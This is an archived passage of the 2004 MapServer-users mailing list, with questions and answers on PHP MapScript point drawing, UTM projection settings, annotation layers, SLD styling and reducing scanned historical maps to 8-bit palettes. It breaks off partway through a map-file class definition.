geodata.soton.ac.uk Wed Mar 24 01:22:17 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Wed, 24 Mar 2004 09:22:17 +0000 Subject: [Mapserver-users] GPS Coordinate Mapping In-Reply-To: <000c01c41137$0ac3bcd0$6401a8c0@wskasey> References: <000c01c41137$0ac3bcd0$6401a8c0@wskasey> Message-ID: <20040324092215.GB803@truffles.geodata.soton.ac.uk> On Tue, Mar 23, 2004 at 05:29:17PM -0700, Kasey Kirkham wrote: > Hi all, > > I'm currently working on a GPS-oriented mapping application(with much > help from Chris over at DM) using mapserver and php/mapscript(4.0.1 and > 1.177, respectively). I need to be able to select coordinates out of a > database and plot those coordinates over a map. I can zoom to a given > extent through mapscript, but I'm at a loss as to how I can draw the > points on the map. I was referred to this document: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData > but I would like something that left connecting to the database and > preparing the points up to me. It might also be necessary to create > layers with more complex shapes from a variable number of points. > > So, what mapscript objects/methods can be used to create shape files(or > even the "shapes" themselves...) and to add them to the map at execution > time? Of course, if I'm barking up the wrong tree entirely, some > redirection would be equally appreciated. > > Thanks for you help, > Kasey Kirkham > > Inexo Solutions > Phoenix, AZ Other than creating a shapefile from a list of coordinates, the other way of drawing a point on a map goes something like this (in PHP mapscript): draw(); // get an image representing the current map $pointObj = ms_newPointObj(); // get a point // set the X and Y $x = 400000.0; $y = 150000.0; $pointObj->setXY($x, $y); $layerObj = $mapObj->getLayerByName('my_point_layer'); // get the point layer $class_index = 0; $pointObj->draw($mapObj, $layerObj, $imageObj, $class_index, ''); // draw the point // get the url and print it out $url = $imageObj->saveWebImage(); $imageObj->free(); print ''; ?> The creation of a point object and drawing should be repeated for each point you need to draw. If you need labels, check out the POSTLABELCACHE map attribute for layers and the mapObj drawLabelCache method. Kind regards, Homme Zwaagstra From diego at geomatica.como.polimi.it Wed Mar 24 01:38:56 2004 From: diego at geomatica.como.polimi.it (Diego Magni) Date: Wed, 24 Mar 2004 10:38:56 +0100 Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 References: <64FC1B3E23F04C4E931EE3F6D809FF303ABE96@DIV-MX02.divestco> <001e01c410b3$e9f90ce0$778faf83@ing.unico.it> <18068.212.238.227.182.1080037834.squirrel@webmail.xs4all.nl> Message-ID: <001801c41183$d40f3190$778faf83@ing.unico.it> Hi Bart, thank you for your help: everything works correctly now (MapServer 4.1 + Apache 2.0.46); I've solved my problems simply using absolute path for IMAGEPATH, while in previous MapServer releases relative path is also admitted. Thanks, Best regards, Diego ----- Original Message ----- From: To: "Diego Magni" Cc: "Zamil Murji" ; Sent: Tuesday, March 23, 2004 11:30 AM Subject: Re: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 > Hi Diego, > > you could have a look at MS4W, this works properly out of the box. > > http://www.maptools.org/ms4w > > Latest version is: > http://www.maptools.org/dl/ms4w/mapserver_ms4w-4.1-20040303.zip > > Best regards, > Bart > > > Hi Zamil and List, > > thank you very much for your help; I already tried these tests: > > - MapServer 4.0.1 on Apache 1.3.29 (Windows NT OS): problems with > > Legend,Scalebar,ReferenceMap, TrueType; > > - MapServer 3.6.7 on Apache 1.3.29 (Windows NT OS): OK; > > - MapServer 3.6.7 on Apache 2.0.48 (Windows NT OS): OK. > > Now, I'm interesting to use MapServer 4.0.1 on Apache with Windows 2000 > > OS. > > > > Best regards, > > Diego > > > > ----- Original Message ----- > > From: "Zamil Murji" > > To: "Diego Magni" ; > > > > Sent: Monday, March 22, 2004 5:41 PM > > Subject: RE: [Mapserver-users] Problem with MapServer 4.0.1 and Apache > > 2.0.48 > > > > > >> Hi, > >> > >> I had some problems a while back with Mapserver 4.0 and Apache 2.0.X. I > > downgraded my Apache to 1.X (sorry I don't know what the current stable > > release is) and everything magically started working. Maybe you should try > > that. > >> > >> Thanks > >> Zamil > >> > >> -----Original Message----- > >> From: mapserver-users-admin at lists.gis.umn.edu > >> [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Diego Magni > >> Sent: Monday, March 22, 2004 9:25 AM > >> To: mapserver-users at lists.gis.umn.edu > >> Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache > >> 2.0.48 > >> > >> > >> Hi List, > >> I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with > >> Apache 2.0.48, but I've some problems with Legend, Scalebar and > >> Reference > >> Map Objects and with TrueType fonts. When I run a MapServer application, > > the > >> map is correctly displayed into the template file, but legend, reference > > map > >> and scalebar images aren't created. Furthermore, the service runs only > >> if > > I > >> use bitmap fonts, while if I use TrueType, there's the following error > >> message: "msGetLabelSize(): TrueType Font error. Could not find/open > > font". > >> Since the map is created and displayed, some template references like > > [id], > >> [host], [port], [scale] or [cellsize] work correctly and legend.exe, > >> scalebar.exe, etc. work properly with MS-Dos, I think that my problems > >> can > >> be from an Apache misconfiguration. > >> Can anyone help me? > >> Thank you in advance, > >> best regards, > >> Diego > >> > >> > >> > >> _______________________________________________ > >> Mapserver-users mailing list > >> Mapserver-users at lists.gis.umn.edu > >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From stephane.riff at cerene.fr Wed Mar 24 01:31:49 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Wed, 24 Mar 2004 10:31:49 +0100 Subject: [Mapserver-users] background color ???? Message-ID: <40615585.1090306@cerene.fr> First i have a problem with background color of map.... the problem is when i turn off a specific layer (here : 'Numero_Departements', see .map file below), background color of map is changed and it restore the good color when i turn back on this layer Does anybody already saw this ??? The second question is about symbology... I want to set a symbology on a layer but i can't figure how to do it : One layer with 3 classes based on one field 'product' which can be 'GPS', 'MEASURE','FIXED'. This select the symbol for each class .... here no problems Now i want to set the color of symbols based on another field 'state' which can be 'DONE','CLOSED','TOBEDONE'. This can be done by a layer with 3*3 class with each class with an expression like : [product] = 'GPS' AND [state] = 'DONE' . But i would keep my layer with only 3 class is it possible ??? From xavier.mauclaire at strategis.fr Wed Mar 24 02:03:41 2004 From: xavier.mauclaire at strategis.fr (Xavier Mauclaire) Date: Wed, 24 Mar 2004 11:03:41 +0100 Subject: [Mapserver-users] How to Embedded text or image in map Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0039_01C4118F.AACF62D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_003A_01C4118F.AACF62D0" ------=_NextPart_001_003A_01C4118F.AACF62D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Hi i'd like to embed en simple text in the map image generated by mapserver. As i can embed the scalebar i'd like to do the same thing with e text or a image. regards Xavier MAUCLAIRE Conseils et d?veloppements en SIG STRATEGIS S.A. Parc 2000 19, rue Joe Dassin 34184 Montpellier Cedex 4 T?l. +33 (0) 4.67.40.75.40 Fax +33 (0) 4.67.40.75.41 www.strategis.fr ------=_NextPart_001_003A_01C4118F.AACF62D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi
i'd like to embed = en simple=20 text in the map image generated by mapserver.
As i can embed the = scalebar i'd=20 like to do the same thing with e text or a image.
regards
 
 

Xavier=20 MAUCLAIRE

Conseils et d=E9veloppements en SIG =
STRATEGIS S.A.
Parc 2000
19, rue Joe = Dassin
34184=20 Montpellier Cedex 4
T=E9l. +33 (0) 4.67.40.75.40
Fax +33 = (0)=20 4.67.40.75.41

www.strategis.fr=20
 
------=_NextPart_001_003A_01C4118F.AACF62D0-- ------=_NextPart_000_0039_01C4118F.AACF62D0 Content-Type: image/jpeg; name="logostrat.jpg" Content-Transfer-Encoding: base64 Content-ID: <125490010 at 24032004-0c95> /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsK CwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCABFAE8DASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD7w+Kn /I1H/rgn9a8C/aQ/5I/rX+9B/wCjkrf/AGpv2g4/hl8Uf7HfQm1Emwhn85bvy/vFxjGw+nrXzv8A Ev8AaSi+IPg290JfD72JuTGfPN4JNu1w33dgz0x1rny3hjN55tQzCND917SMr80fhUk72vfbyufn +c5xgY08RhXU9+0laz3t6WPEKqanqtnotlJd39zFaW0Y+aWZgqj257+3eud+IHxFsPAdknmq13qU /FtYxH55D0yfRc9/yzSaL8FZbu9i1/4xNLe6mvz2vgS2kaBLYHkfbZFO6LsDCh808h3iIAb98xmZ +yqfVsND2lV9Oi85Pofm2Byn21L63i5+zorq95eUV1/rezKGh+Pdf+Jmqz6V8NfB2peLbmAAz3uw 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 TqKKACiiigAooooAKKKKAP/Z ------=_NextPart_000_0039_01C4118F.AACF62D0-- From stephane.riff at cerene.fr Wed Mar 24 03:15:11 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Wed, 24 Mar 2004 12:15:11 +0100 Subject: [Mapserver-users] getLayerByName phpMapscript Message-ID: <40616DBF.10603@cerene.fr> I'd like to add dynamically a layer to my map only and only if that layer doesn't already exist. The problem is : getLayerByName returns a layerObject if the layer exist but if it doesn't exist the function terminate the script and print the error. So i try with '@' to stop error message but the script still die on getLayerByName. So i'd like to know how i can be sure that a layer exist or not ??? From stephane.riff at cerene.fr Wed Mar 24 03:15:11 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Wed, 24 Mar 2004 12:15:11 +0100 Subject: [Mapserver-users] getLayerByName phpMapscript Message-ID: <40616DBF.10603@cerene.fr> I'd like to add dynamically a layer to my map only and only if that layer doesn't already exist. The problem is : getLayerByName returns a layerObject if the layer exist but if it doesn't exist the function terminate the script and print the error. So i try with '@' to stop error message but the script still die on getLayerByName. So i'd like to know how i can be sure that a layer exist or not ??? From bartvde at xs4all.nl Wed Mar 24 03:37:05 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 24 Mar 2004 12:37:05 +0100 (CET) Subject: [Mapserver-users] SLD and multiple NamedLayer Message-ID: <12394.212.238.227.182.1080128225.squirrel@webmail.xs4all.nl> Hi list, is it possible with Mapserver as an SLD WMS to use multiple NamedLayer elements in the SLD document? When we use only one NamedLayer with one Rule, everything works fine. When we use 2 NamedLayer elements, the original map gets drawn. We also tried copying the LAYER in the MAP file, so that we did not reference the same NamedLayer twice. This does not make any difference, the layer is rendered without any Filter/SLD applied. The reason we want to use this kind of SLD is to have a selection drawn on top of another selection, and have the result in one image. Any info appreciated. Gemeentes1 xxx1 GEMNAAM Amsterdam center-line #ffff00 10.0 Gemeentes2 xxx2 GEMNAAM Amsterdam center-line #0000ff 2.0 Best regards, Bart From ms57 at streamyx.com Wed Mar 24 04:28:02 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Wed, 24 Mar 2004 20:28:02 +0800 Subject: [Mapserver-users] projection - UTM and geographic Message-ID: <004701c4119b$736023a0$04745edb@maps> I know this question hs been asked many times, but I can't seeme to find the solution. I ahve a shape file that is in geographics (i.e. WGS84 lat/lon). I wish to display the shape file in UTM m. I tried putting the projection definition but the map does not show. My mouse coordinates (within jBox) are expressed in UTM m, but map is not dispalyed. PROJECTION "proj=utm" "datum=WGS84" END I also have - EXTENT 111000 592500 279600 711000 UNITS METERS Any ideas? Thanks From bigfoot at main-task.com Wed Mar 24 04:31:25 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Wed, 24 Mar 2004 07:31:25 -0500 Subject: [Mapserver-users] How to Embedded text or image in map In-Reply-To: References: Message-ID: <40617F9D.8060607@main-task.com> LAYER NAME credits STATUS DEFAULT TRANSFORM FALSE TYPE ANNOTATION FEATURE POINTS 4 476 END TEXT 'HERE GOES THE TEXT YOU WANT TO ADD' END CLASS LABEL TYPE TRUETYPE FONT Arial SIZE 7 ANTIALIAS TRUE COLOR 0 51 102 OUTLINECOLOR 255 255 255 POSITION UR END END END Vladimir Ilich Guzm?n R. ------------------------ http://www.maintask.com Xavier Mauclaire wrote: > Hi > i'd like to embed en simple text in the map image generated by mapserver. > As i can embed the scalebar i'd like to do the same thing with e text > or a image. > regards > > > Xavier MAUCLAIRE > > Conseils et d?veloppements en SIG > > STRATEGIS S.A. > Parc 2000 > 19, rue Joe Dassin > 34184 Montpellier Cedex 4 > T?l. +33 (0) 4.67.40.75.40 > Fax +33 (0) 4.67.40.75.41 > > > www.strategis.fr > > From warmerdam at pobox.com Wed Mar 24 05:48:23 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 24 Mar 2004 08:48:23 -0500 Subject: [Mapserver-users] projection - UTM and geographic In-Reply-To: <004701c4119b$736023a0$04745edb@maps> References: <004701c4119b$736023a0$04745edb@maps> Message-ID: <406191A7.2050908@pobox.com> Steve McCrone wrote: > I know this question hs been asked many times, but I can't seeme to find the > solution. > > I ahve a shape file that is in geographics (i.e. WGS84 lat/lon). I wish to > display the shape file in UTM m. I tried putting the projection definition > but the map does not show. My mouse coordinates (within jBox) are expressed > in UTM m, but map is not dispalyed. > > PROJECTION > "proj=utm" > "datum=WGS84" > END > > I also have - > > EXTENT 111000 592500 279600 711000 > UNITS METERS Steve, You need the UTM zone you are working in as well. eg. PROJECTION "proj=utm" "zone=11" "datum=WGS84" END Also, I assume you have a projection block on the layer describing it as geographic, right? Something like: PROJECTION "proj=latlong" "datum=WGS84" END Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Ballini.Yvain at seat.it Wed Mar 24 05:51:10 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Wed, 24 Mar 2004 14:51:10 +0100 Subject: R: [Mapserver-users] projection - UTM and geographic Message-ID: <4B1A1EC0790F054193453C48725D431829F9CA@MSGBE1V1.seat.it> You have to give a precision about your zone, for example zone = 32, for the longitudes between + 6? and +12?, zone = 33 for the longitudes between +12? and +18?...like this: PROJECTION "proj=utm" "ellps=WGS84" "datum=WGS84" "zone=32" "north" END Then the EXTENT gives you the coordinates Xmin Ymin Xmax Ymax with this rule: Y = 0 at the equator line X = 500000 (meters) at the longitude +9? for the zone UTM 32, or at the longitude +15? for the zone UTM 33... You should control that the features you want to see are in this range of coordinates. Regards, Yvain. -----Messaggio originale----- Da: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] Per conto di Steve McCrone Inviato: mercoled? 24 marzo 2004 13.28 A: mapserver-users at lists.gis.umn.edu Oggetto: [Mapserver-users] projection - UTM and geographic I know this question hs been asked many times, but I can't seeme to find the solution. I ahve a shape file that is in geographics (i.e. WGS84 lat/lon). I wish to display the shape file in UTM m. I tried putting the projection definition but the map does not show. My mouse coordinates (within jBox) are expressed in UTM m, but map is not dispalyed. PROJECTION "proj=utm" "datum=WGS84" END I also have - EXTENT 111000 592500 279600 711000 UNITS METERS Any ideas? Thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich at greenwoodmap.com Tue Mar 23 23:13:16 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Wed, 24 Mar 2004 07:13:16 +0000 Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. In-Reply-To: <1080063008.406074202e16e@www.agi-lan.com> References: <1080063008.406074202e16e@www.agi-lan.com> Message-ID: <4061350C.60203@greenwoodmap.com> Jason M. Nielsen wrote: > Is there a way to perform a query on shape files for a string match then return > that record and extract specific data about it? > > Example: > > I have a shape file of all roads in an area. Among other attributes all of these > roads have a name and vertex coordinates. I would like to be able to enter a > street name, find it in the shape file then zoom to say the first X,Y point > starting that road. > > This would probably be very easy using PostGIS and php but unforunately as > things stand these are not available to me atm. All I have is the cgi mapserver > and shape files. They want to keep shape files as the datasource as well due to > some other issues. The CGI itemquery and itemnquery modes may be what you are looking for, however they will zoom to the full extent of the feature, not the first vertex. You could, however, have a second layer with just the verticies, zoom to them and also display the road polyline. Here is an example: http://www2.tetonwyo.org/mapserver/mapserv.exe? qstring=438& mode=itemquery& qitem=id& map=tc/tc.map& mapext=shapes& qlayer=Road_CLq&layer=Roads& zoomsize=2& savequery=true& Regards, -- Richard Greenwood www.greenwoodmap.com From lfilak at medinaco.org Wed Mar 24 06:21:02 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 24 Mar 2004 09:21:02 -0500 Subject: [Mapserver-users] reducing RGB maps to 8bit Message-ID: <20040324142051.296631A65A4@mail.medinaco.org> To add to the previous discussion... I agree with Rich - you deal with some of the oldest & coolest maps I know of. I wonder if Imagemagick could compose a palette across multiple images with something like "montage -colors 256 image1.jpg image2.jpg image3.jpg ... output.tif".? Lowell The following message was sent by Jan Hartmann on Tue, 23 Mar 2004 10:53:30 +0100. > Hi, > > Not a specific MapServer question, but I guess there are people on this > list who know something about this. I have about 600 historical > cadastral maps dating from about 1830. They have been scanned as 24bits > jpg files, and each map is about 4000*4000 pixels. To display them > efficiently with MapServer I need to transform them to 8bit, all in the > same palette. Colors on the different maps don't match exactly, due to > two centuries of wear and tear The question is: does anyone know a way > to compute some sort of optimal colormap for this amount of data, > something like "imagemagick -display" or the gdal-utility "rgb2pct.py", > not for a single file, but for a large set of images. There is some > literature about it, e.g. "comp.graphics.algorithms 3.02" and "graphics > gems", but before I start programming myself, perhaps someone knows an > easier way. > > Thanks, > > Jan > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From innaj at web.de Wed Mar 24 06:26:34 2004 From: innaj at web.de (Inna Janssen) Date: Wed, 24 Mar 2004 15:26:34 +0100 Subject: [Mapserver-users] getLayerByName phpMapscript Message-ID: <200403241426.i2OEQYQ04490@mailgate5.cinetic.de> Just get all Layers by index and compare if it has the name of the layer you want to add: $found=false for($i=0;$i<$map->numlayers;$i++) { $layer = $map->getLayer($i); if ($layer->name == $YourSearchedLayerName) { $found=true;break} } if (!$found) add the layer else don't add it Inna St?phane_RIFF schrieb am 24.03.04 12:52:47: > > I'd like to add dynamically a layer to my map only and only if that > layer doesn't already exist. > > The problem is : getLayerByName returns a layerObject if the layer exist > but if it doesn't exist the function > terminate the script and print the error. So i try with '@' to stop > error message but the script still die on getLayerByName. > > So i'd like to know how i can be sure that a layer exist or not ??? > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jnielsen at aero-graphics.com Wed Mar 24 06:32:54 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Wed, 24 Mar 2004 07:32:54 -0700 Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. In-Reply-To: <4061350C.60203@greenwoodmap.com> References: <1080063008.406074202e16e@www.agi-lan.com> <4061350C.60203@greenwoodmap.com> Message-ID: <1080138774.40619c16c2b9d@www.agi-lan.com> Quoting Richard Greenwood : > Jason M. Nielsen wrote: > > Is there a way to perform a query on shape files for a string match then > return > > that record and extract specific data about it? > > > > Example: > > > > I have a shape file of all roads in an area. Among other attributes all of > these > > roads have a name and vertex coordinates. I would like to be able to enter > a > > street name, find it in the shape file then zoom to say the first X,Y > point > > starting that road. > > > > This would probably be very easy using PostGIS and php but unforunately > as > > things stand these are not available to me atm. All I have is the cgi > mapserver > > and shape files. They want to keep shape files as the datasource as well > due to > > some other issues. > > The CGI itemquery and itemnquery modes may be what you are looking for, > however they will zoom to the full extent of the feature, not the first > vertex. You could, however, have a second layer with just the verticies, > zoom to them and also display the road polyline. Here is an example: > > http://www2.tetonwyo.org/mapserver/mapserv.exe? > qstring=438& > mode=itemquery& > qitem=id& > map=tc/tc.map& > mapext=shapes& > qlayer=Road_CLq&layer=Roads& > zoomsize=2& > savequery=true& > > Regards, > -- > Richard Greenwood > www.greenwoodmap.com > Very cool. Ill look into this asap. Zooming to the full feature is fine as far as I know. Thanks for info! From jhart at frw.uva.nl Wed Mar 24 06:32:45 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Wed, 24 Mar 2004 15:32:45 +0100 Subject: [Mapserver-users] reducing RGB maps to 8bit In-Reply-To: <20040324142051.296631A65A4@mail.medinaco.org> References: <20040324142051.296631A65A4@mail.medinaco.org> Message-ID: <40619C0D.7040109@frw.uva.nl> Lowell Filak wrote: > I agree with Rich - you deal with some of the oldest & coolest maps I > know of. Wait till you see my "Historical Atlas of Amsterdam", online next week. The 16th and 17th century maps are all-time wonders of cartography. > I wonder if Imagemagick could compose a palette across multiple images > with something like "montage -colors 256 image1.jpg image2.jpg > image3.jpg ... output.tif".? > I'll try it out, but I don't think ImageMagick can montage 600 4000*4000 maps. Jan From lfilak at medinaco.org Wed Mar 24 06:54:58 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 24 Mar 2004 09:54:58 -0500 Subject: [Mapserver-users] reducing RGB maps to 8bit Message-ID: <20040324145447.00B331A659B@mail.medinaco.org> The following message was sent by Jan Hartmann on Wed, 24 Mar 2004 15:32:45 +0100. > > > Lowell Filak wrote: > > > I agree with Rich - you deal with some of the oldest & coolest maps I > > know of. > > Wait till you see my "Historical Atlas of Amsterdam", online next week. > The 16th and 17th century maps are all-time wonders of cartography. Cool. > > > I wonder if Imagemagick could compose a palette across multiple images > > with something like "montage -colors 256 image1.jpg image2.jpg > > image3.jpg ... output.tif".? > > > > I'll try it out, but I don't think ImageMagick can montage 600 4000*4000 > maps. I agree, but a good cross-section-subset may be all that is needed to decide on a palette that could be used against each image individually.? Lowell > > Jan > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Cedric.Moeri at bd.so.ch Wed Mar 24 07:31:36 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Wed, 24 Mar 2004 16:31:36 +0100 Subject: [Mapserver-users] html legend - strange behaviour Message-ID: <5B025B1F39D6D4119F5700508BEEEC660142331E@srsofaioi4546.ktso.ch> Hi list! as i'm still investigating about my msyyparse()-parse error (see older mails below), I found a rather strange behaviour of the html legend: I have layer with 5 classes like this: CLASS NAME "Ag" EXPRESSION ([COLOR] = 4) STYLE SIZE 3 SYMBOL 7 COLOR 0 255 255 END END CLASS NAME "Bh" EXPRESSION ([COLOR] = 5) STYLE SIZE 3 SYMBOL 7 COLOR 100 0 255 END END CLASS NAME "Cg" 